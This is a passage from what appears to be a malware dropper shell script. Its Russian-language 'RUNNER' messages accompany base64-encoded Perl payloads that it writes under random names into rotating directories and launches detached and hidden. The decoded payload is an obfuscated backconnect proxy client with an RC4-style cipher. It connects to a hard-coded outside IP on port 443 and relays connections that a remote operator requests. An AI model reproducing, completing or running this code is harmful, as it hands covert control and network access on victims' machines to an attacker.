IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #40 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #40 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 41 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xODknOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp 